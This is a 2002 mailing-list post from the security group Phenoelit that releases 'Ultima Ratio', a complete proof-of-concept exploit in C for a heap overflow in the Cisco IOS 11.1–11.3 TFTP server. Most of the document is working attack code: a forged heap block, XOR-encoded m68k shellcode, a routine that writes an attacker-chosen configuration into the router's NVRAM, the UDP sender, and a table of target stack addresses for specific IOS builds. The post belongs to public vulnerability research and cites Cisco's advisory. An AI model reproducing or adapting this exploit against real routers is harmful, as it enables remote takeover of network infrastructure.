Cisco IOS exploit PoC
Date: Thu, 22 Aug 2002 10:03:10 +0200
From: FX <fx@phenoelit.de.>
To: [email protected]
Subject: Cisco IOS exploit PoC
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Hi there,
attached is a prove of concept exploit for the Cisco IOS TFTP-Server bug in
versions 11.1-11.3. It will work on the 1600 and 1000 series and implements
what we believe is a general way to exploit IOS heap overflows.
The slides from BlackHat and DefCon covering the technique in more detail can
be found at http://www.phenoelit.de/ultimaratio/index.html .
Cisco's advisory can be found here (might wrap):
http://www.cisco.com/warp/public/707/ios-tftp-long-filename-pub.shtml
Notice the slightly different point of view in the "Impact" section.
yours truly,
FX
--
FX <fx@phenoelit.de.>
Phenoelit (http://www.phenoelit.de)
672D 64B2 DE42 FCF7 8A5E E43B C0C1 A242 6D63 B564
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/*
--== P H E N O E L I T ==--
____ _______ _____ _______
____ ____ / /__ __/ __ ___ ______ / /______/__ __/ ______
/ / / / / / / -*-/ \_/ // / / / / / / -*- / __ /
/ / / / / / / __ / /\_// // __ / / /\ \ __ / / / __ / / / /
/ /__/ / /____/ / / // / / // / / / / / / / / / / / / / / / /_/ /
/__________/______/_/ /_//_/ /_//_/ /_/ /_/ /_/_/ /_/ /_/ /_/ /_____/
*/
/* Cisco IOS Heap exploit prove of concept "Ultima Ratio".
* by FX of Phenoelit <fx@phenoelit.de.>
* http://www.phenoelit.de
*
* Black Hat Briefings 2002 / Las Vegas
* DefCon X 2002 / Las Vegas
*
* Cisco IOS 11.1.x to 11.3.x TFTP-Server
* If a TFTP server for a flash file is configured, a long filename in the TFTP
* request will overflow a heap buffer. The attached program is a PoC to exploit
* this vulnerability by executing "shell code" on the router and write the
* attached configuration into NVRAM to basically own the router.
*
* Command line argument -p XXXXXXXX most definetly required. Obtain from syslog
* host or any other means possible. The stack address changes by image.
* Find the right one for the IOS build you are running and if you feel like it,
* send it to me.
*
* Kiddy Warnings:
* - It will NOT work in fire-and-forget mode.
* - The shellcode is only good for Cisco 1000 and 1600 series.
* - This code is not for illegal use.
*
* $Id: UltimaRatioVegas.c,v 1.1 2002/07/26 16:39:38 $
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
typedef struct {
u_int16_t opcode __attribute__((packed));
u_int8_t file __attribute__((packed));
u_int8_t type __attribute__((packed));
} tftp_t;
typedef struct {
u_int16_t magic __attribute__((packed));
u_int16_t one __attribute__((packed));
u_int16_t checksum __attribute__((packed));
u_int16_t IOSver __attribute__((packed));
u_int32_t unknown __attribute__((packed));
u_int32_t ptr __attribute__((packed));
u_int32_t size __attribute__((packed));
} nvheader_t;
struct {
int verbose;
int test;
char *filename;
unsigned int overflow;
u_int32_t prev;
u_int32_t next;
u_int32_t offset;
u_int32_t buffer_location;
u_int32_t stack_address;
unsigned int nop_sleet;
int dot1;
} cfg;
u_int16_t chksum(u_char *data, unsigned long count);
void hexdump(unsigned char *bp, unsigned int length);
void usage(char *s);
#define MAX_SIZE 1472
#define XOR_PAT 0xD5
#define FB_PREV 28
#define FB_NEXT 24
#define FB_FREENEXT 60
#define FB_FREEPREV 64
#define SPLASH \
"Phenoelit ULTIMA RATIO\n" \
" Cisco IOS TFTP-Server remote exploit (11.1.-11.3)\n" \
" (C) 2002 - FX of Phenoelit <fx@phenoelit.de.>\n"
int main(int argc, char **argv) {
char option;
extern char *optarg;
unsigned int i;
/* confg file */
int fd;
struct stat sb;
u_char *buffer;
u_char *p;
nvheader_t *nvh;
unsigned int len;
u_int16_t cs1;
u_int32_t temp;
/* Network */
int sfd;
struct in_addr dest;
struct sockaddr_in sin;
/* the packet */
unsigned int psize = 0;
u_char *pack;
tftp_t *tftp;
char tftp_type[] = "PHENOELIT";
char terminator[] = "\xCA\xFE\xF0\x0D";
char fakeblock[] =
"\xFD\x01\x10\xDF" // RED
"\xAB\x12\x34\xCD" // MAGIC
"\xFF\xFF\xFF\xFF" // PID
"\x80\x81\x82\x83" //
"\x08\x0C\xBB\x76" // NAME
"\x80\x8a\x8b\x8c" //
"\x02\x0F\x2A\x04" // NEXT
"\x02\x0F\x16\x94" // PREV
"\x7F\xFF\xFF\xFF" // SIZE
"\x01\x01\x01\x01" //
"\xA0\xA0\xA0\xA0" // padding ?
"\xDE\xAD\xBE\xEF" // MAGIC2
"\x8A\x8B\x8C\x8D" //
"\xFF\xFF\xFF\xFF" // padding
"\xFF\xFF\xFF\xFF" // padding
"\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
"\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address)
;
char fakeblock_dot1[] =
"\xFD\x01\x10\xDF" // RED
"\xAB\x12\x34\xCD" // MAGIC
"\xFF\xFF\xFF\xFF" // PID
"\x80\x81\x82\x83" //
"\x08\x0C\xBB\x76" // NAME
"\x80\x8a\x8b\x8c" //
"\x02\x0F\x2A\x04" // NEXT
"\x02\x0F\x16\x94" // PREV
"\x7F\xFF\xFF\xFF" // SIZE
"\x01\x01\x01\x01" //
//"\xA0\xA0\xA0\xA0" // no padding here on 11.1
"\xDE\xAD\xBE\xEF" // MAGIC2
"\x8A\x8B\x8C\x8D" //
"\xFF\xFF\xFF\xFF" // padding
"\xFF\xFF\xFF\xFF" // padding
"\x02\x0F\x2A\x24" // FREE NEXT (BUFFER)
"\x02\x05\x7E\xCC" // FREE PREV (STACK of Load Meter, return address)
;
char nop[] =
"\x4E\x71"; // the IOS will write here
char shell_code[] =
// ************** CODE ****************
"\x22\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a1 (0x020F2A24)
"\xe2\xd1" //lsrw %a1@ (0x020F2A2A)
"\x47\xfa\x01\x23" //lea %pc@(12d<xor_code+0xfd>),%a3 (0x020F2A2C)
"\x96\xfc\x01\x01" //subaw #257,%a3 (0x020F2A30)
"\xe2\xd3" //lsrw %a3@ (0x020F2A34)
"\x22\x3c\x01\x01\x01\x01" //movel #16843009,%d1 (0x020F2A36)
"\x45\xfa\x01\x17" //lea %pc@(131<xor_code+0x101>),%a2(0x020F2A3C)
"\x94\xfc\x01\x01" //subaw #257,%a2 (0x020F2A40)
"\x34\x3c\xd5\xd5" //movew #-10795,%d2 (0x020F2A44)
"\xb5\x5a" //eorw %d2,%a2@+ (0x020F2A48)
"\x0c\x92\xca\xfe\xf0\x0d" //cmpil #-889262067,%a2@ (0x020F2A4A)
"\xcc\x01" //branch (modified) (0x020F2A50)
"\xff\xf6" //(0x020F2A52)
// ************** XORed CODE ****************
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A5E)
"\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A62)
"\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A68)
"\x90\x2F\xD5\x87" //lea %pc@(62 <config>),%a2 (0x020F2A6C)
"\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A70)
"\xA1\xD4" //moveq #1,%d2 (0x020F2A76)
"\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A78)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A7A)
"\x46\x97" //subxw %d2,%d1 (0x020F2A80)
"\xBE\xD5\x2A\x29" //bmiw 22 <write_delay> (0x020F2A82)
"\xD9\x47\x1F\x2B\x25\xD8" //cmpil #-889262067,%a2@ (0x020F2A86)
"\xB3\xD5\x2A\x3F" //bnew 1a <copy_confg> (0x020F2A8C)
"\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A90)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A94)
"\x46\x97" //subxw %d2,%d1 (0x020F2A9A)
"\xBE\xD5\x2A\x29" //bmiw 3c <write_delay2> (0x020F2A9C)
"\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2AA0)
"\xB8\xD5\x2A\x3D" //bltw 32 <delete_confg> (0x020F2AA6)
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2AAA)
"\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2AAE)
"\xFB\x85" //moveal %a0@,%sp (0x020F2AB4)
"\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2AB6)
"\xF5\x85" //moveal %a0@,%a0 (0x020F2ABC)
"\x9B\x05" //jmp %a0@ (0x020F2ABE)
;
/* configure defaults */
memset(&dest,0,sizeof(dest));
memset(&cfg,0,sizeof(cfg));
cfg.overflow=652;
cfg.prev=0x020F1694;
cfg.next=0x020F2A04;
//cfg.offset=0x13D4;
//cfg.offset=0x137C; // 4988
cfg.offset=0x1390; // 5008
cfg.buffer_location=0x020F2A24;
cfg.stack_address=0x02057ECC;
cfg.nop_sleet=16;
printf("%s\n",SPLASH);
while ((option=getopt(argc,argv,"1vtd:f:l:p:o:s:n:N:"))!=EOF) {
switch (option) {
case 'd': if (inet_aton(optarg,&dest)==0) {
/* ups, wasn't an IP - maybe a hostname */
struct hostent *hd;
if ((hd=gethostbyname(optarg))==NULL) {
fprintf(stderr,"Could not resolve destination host\n");
return (1);
} else {
bcopy(hd->h_addr,(char *)&dest,hd->h_length);
}
}
break;
case 'f': cfg.filename=(char *)malloc(strlen(optarg)+1);
strcpy(cfg.filename,optarg);
break;
case 'l': if ( (cfg.overflow=atoi(optarg))==0 ) {
fprintf(stderr,"Overflow length incorrect\n");
return (1);
}
break;
case 'o': if ( (cfg.offset=atoi(optarg))==0 ) {
fprintf(stderr,"Offset incorrect\n");
return (1);
}
break;
case 'N': if ( (cfg.nop_sleet=atoi(optarg))==0 ) {
fprintf(stderr,"NOP sleet incorrect\n");
return (1);
}
break;
case 'p': sscanf(optarg,"%08X",&(cfg.prev));
break;
case 'n': sscanf(optarg,"%08X",&(cfg.next));
break;
case 's': sscanf(optarg,"%08X",&(cfg.stack_address));
break;
case 'v': cfg.verbose++;
break;
case 't': cfg.test++;
break;
case '1': cfg.dot1++;
break;
default: usage(argv[0]);
return (1);
}
}
/*
* check for dummies
*/
if ( (!(*((u_int32_t *)&dest))) || (cfg.filename==NULL) ) {
usage(argv[0]);
return 1;
}
/*
* patch fake block with new addresses
*/
cfg.buffer_location=cfg.prev+20+cfg.offset;
if (cfg.dot1) {
temp=htonl(cfg.prev+20);
memcpy(&(fakeblock_dot1[FB_PREV]),&(temp),4);
temp=htonl(cfg.next);
memcpy(&(fakeblock_dot1[FB_NEXT]),&(temp),4);
temp=htonl(cfg.buffer_location);
memcpy(&(fakeblock_dot1[FB_FREENEXT-4]),&(temp),4);
temp=htonl(cfg.stack_address);
memcpy(&(fakeblock_dot1[FB_FREEPREV-4]),&(temp),4);
} else {
temp=htonl(cfg.prev+20);
memcpy(&(fakeblock[FB_PREV]),&(temp),4);
temp=htonl(cfg.next);
memcpy(&(fakeblock[FB_NEXT]),&(temp),4);
temp=htonl(cfg.buffer_location);
memcpy(&(fakeblock[FB_FREENEXT]),&(temp),4);
temp=htonl(cfg.stack_address);
memcpy(&(fakeblock[FB_FREEPREV]),&(temp),4);
}
if (cfg.verbose) {
if (cfg.dot1) printf("using IOS 11.1 Heap management mode\n");
printf("Values:\n"
"- prev ptr of 0x%08X\n"
"- next ptr of 0x%08X\n"
"- buffer located at 0x%08X (offset %u)\n"
"- stack return address 0x%08X\n"
"- overflow lenght %u\n"
"- NOP sleet %u\n"
,
cfg.prev+20,
cfg.next,
cfg.buffer_location,cfg.offset,
cfg.stack_address,
cfg.overflow,
cfg.nop_sleet);
}
if (cfg.dot1) {
if (strlen(fakeblock_dot1)+1!=sizeof(fakeblock_dot1)) {
fprintf(stderr,"0x00 byte in fake block detected!\n");
if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock_dot1)-1);
return (1);
}
} else {
if (strlen(fakeblock)+1!=sizeof(fakeblock)) {
fprintf(stderr,"0x00 byte in fake block detected!\n");
if (cfg.verbose) hexdump(fakeblock,sizeof(fakeblock)-1);
return (1);
}
}
/*
* Load Config
* - load into buffer
* - prepare NVRAM header
* - calculate checksum
* -> *buffer contains payload
*/
if (cfg.filename==NULL) return (-1);
if (stat(cfg.filename,&sb)!=0) {
fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
return (-1);
}
if ((fd=open(cfg.filename,O_RDONLY))<0) {
fprintf(stderr,"Could not open() file %s\n",cfg.filename);
return (-1);
}
len=sb.st_size;
if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
fprintf(stderr,"Malloc() failed\n");
return (-1);
}
memset(buffer,0,len+sizeof(nvheader_t)+10);
p=buffer+sizeof(nvheader_t);
if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
close(fd);
/*
* pad config so it is word bound for the 0xcafef00d test
*/
if ((len%2)!=0) {
strcat(p,"\x0A");
len++;
if (cfg.verbose) printf("Padding config by one\n");
}
nvh=(nvheader_t *)buffer;
nvh->magic=htons(0xABCD);
nvh->one=htons(0x0001); // is always one
nvh->IOSver=htons(0x0B03); // IOS version
nvh->unknown=htonl(0x00000014); // something, 0x14 just works
nvh->ptr=htonl(0x020AA660); // something, 0x020AA660 just works
nvh->size=htonl(len);
cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
nvh->checksum=cs1;
/*
* Check the size of all together and make sure it will fit into the
* packet
*/
psize= len + sizeof(nvheader_t) +
+ strlen(fakeblock)
+ ( strlen(nop) * cfg.nop_sleet )
+ strlen(shell_code)
+ strlen(terminator)
+ cfg.overflow + 1
+ sizeof(tftp_t) + strlen(tftp_type) ;
if ( psize > MAX_SIZE ) {
fprintf(stderr,"The config file specified is too big and does not fit"
" into one packet. Specify smaller file\n");
free(buffer);
return (1);
}
if ((pack=malloc(psize))==NULL) {
fprintf(stderr,"Could not malloc() packet\n");
return (-1);
}
memset(pack,0,psize);
/*
* XOR encode the config block
*/
p=buffer;
for (i=0;i<(len+sizeof(nvheader_t));i++) {
p[i]=p[i]^XOR_PAT;
}
/*
* Prepare the TFTP protocol part
*/
tftp=(tftp_t *)((void *)pack);
tftp->opcode=htons(1);
/* (1) Overflow */
p=(char *)&(tftp->file);
memset(p,'A',cfg.overflow);
p+=cfg.overflow;
/* (2) Fake block */
if (cfg.dot1) {
memcpy(p,fakeblock_dot1,sizeof(fakeblock_dot1)-1);
p+=sizeof(fakeblock_dot1)-1;
} else {
memcpy(p,fakeblock,sizeof(fakeblock)-1);
p+=sizeof(fakeblock)-1;
}
/* (3) add NOP sleet */
for (i=0;i<cfg.nop_sleet;i++) {
memcpy(p,nop,sizeof(nop)-1);
p+=sizeof(nop)-1;
}
/* (4) append shell code */
memcpy(p,shell_code,sizeof(shell_code)-1);
p+=sizeof(shell_code)-1;
/* (5) new config */
memcpy(p,buffer,strlen(buffer));
p+=strlen(buffer);
/* (6) terminator */
strcpy(p,terminator);
p+=strlen(terminator)+1;
/* (7) give it a type */
strcpy(p,tftp_type);
if (cfg.verbose>1) hexdump(pack,psize);
if (cfg.test) return(0);
/*
* Perform attack
*/
if ((sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
perror("socket()");
return (-1);
}
memset(&sin,0,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
sin.sin_port=htons(69); /* tftp */
memcpy(&(sin.sin_addr),&dest,sizeof(sin.sin_addr));
printf("*** Sending exploit ***\n");
if (sendto(sfd,pack,psize,0,
(struct sockaddr *)&sin,sizeof(struct sockaddr_in))<=0) {
perror("sendto()");
return(-1);
}
close(sfd);
if (cfg.verbose) printf("\t%d bytes network data sent\n",psize);
/*
* clean up
*/
free(buffer);
free(pack);
return 0;
}
/* checksum function as used in IRPAS, stolen somewhere */
u_int16_t chksum(u_char *data, unsigned long count) {
u_int32_t sum = 0;
u_int16_t *wrd;
wrd=(u_int16_t *)data;
while( count > 1 ) {
sum = sum + *wrd;
wrd++;
count -= 2;
}
if( count > 0 ) { sum = sum + ((*wrd &0xFF)<<8); }
while (sum>>16) {
sum = (sum & 0xffff) + (sum >> 16);
}
return (~sum);
}
/* A better version of hdump, from Lamont Granquist. Modified slightly
* by Fyodor ([email protected])
* obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {
/* stolen from tcpdump, then kludged extensively */
static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";
register const u_short *sp;
register const u_char *ap;
register u_int i, j;
register int nshorts, nshorts2;
register int padding;
printf("\n\t");
padding = 0;
sp = (u_short *)bp;
ap = (u_char *)bp;
nshorts = (u_int) length / sizeof(u_short);
nshorts2 = (u_int) length / sizeof(u_short);
i = 0;
j = 0;
while(1) {
while (--nshorts >= 0) {
printf(" %04x", ntohs(*sp));
sp++;
if ((++i % 8) == 0)
break;
}
if (nshorts < 0) {
if ((length & 1) && (((i-1) % 8) != 0)) {
printf(" %02x ", *(u_char *)sp);
padding++;
}
nshorts = (8 - (nshorts2 - nshorts));
while(--nshorts >= 0) {
printf(" ");
}
if (!padding) printf(" ");
}
printf(" ");
while (--nshorts2 >= 0) {
printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
ap += 2;
if ((++j % 8) == 0) {
printf("\n\t");
break;
}
}
if (nshorts2 < 0) {
if ((length & 1) && (((j-1) % 8) != 0)) {
printf("%c", asciify[*ap]);
}
break;
}
}
if ((length & 1) && (((i-1) % 8) == 0)) {
printf(" %02x", *(u_char *)sp);
printf(" %c", asciify[*ap]);
}
printf("\n");
}
void usage(char *s) {
fprintf(stderr,
"Usage: %s -d <device_ip> -f config.file [-opts]\n"
"Options:\n"
" -p 1234ABCD sets the previous ptr address\n"
" -n 1234ABCD sets the next ptr address\n"
" -s 1234ABCD sets the stack address\n"
" -o 1234 sets the offset from prev to buffer\n"
" -l 1234 sets the overflow size\n"
" -N 1234 sets the NOP sleet\n"
" -1 use IOS 11.1 memory layout\n"
" -v increases verbosity (highly recommended)\n"
" -t only test, don't send\n"
"\n"
"Recommended stack addresses:\n"
"IOS 11.1(20) -s 020A1120 (IP Input)\n"
"IOS 11.2(18)P -s 0204120C (Load Meter)\n"
"IOS 11.2(26)P4 -s 02041554 (Load Meter)\n"
"IOS 11.3(11)B -s 02057ECC (Load Meter)\n"
,s);
}
--ZGiS0Q5IWpPtfppv--
